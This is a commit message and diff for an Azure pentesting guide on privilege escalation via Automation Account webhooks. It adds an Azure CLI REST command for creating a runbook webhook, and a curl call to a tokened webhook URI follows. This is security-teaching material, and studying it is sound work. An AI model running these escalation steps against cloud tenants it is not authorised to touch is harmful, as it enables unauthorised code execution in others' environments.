Added azure rest command for webhook creation.

Clarified commands for creating webhooks in Azure Automation by adding the Azure CLI REST method.

Author: Jacob-Ham

src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md

@@ -154,13 +154,29 @@ az rest --method PUT \
 
 ### `Microsoft.Automation/automationAccounts/webhooks/write`
 
-With the permission **`Microsoft.Automation/automationAccounts/webhooks/write`** it's possible to create a new Webhook for a Runbook inside an Automation Account using the following command.
+With the permission **`Microsoft.Automation/automationAccounts/webhooks/write`** it's possible to create a new Webhook for a Runbook inside an Automation Account using one of the following commands.
 
+With Azure Powershell:
 ```bash
 New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
 ```
 
-This command should return a webhook URI which is only displayed on creation. Then, to call the runbook using the webhook URI
+With AzureCLI and REST:
+```bash
+az rest --method put \
+  --uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/{webhook-name}?api-version=2015-10-31" \
+  --body '{
+    "name": "<webhook-name>",
+    "properties": {
+      "isEnabled": true,
+      "expiryTime": "2027-12-31T23:59:59+00:00",
+      "runbook": {
+        "name": "<runbook-name>"
+      }
+    }
+  }'
+```
+These commands should return a webhook URI which is only displayed on creation. Then, to call the runbook using the webhook URI
 
 ```bash
 curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \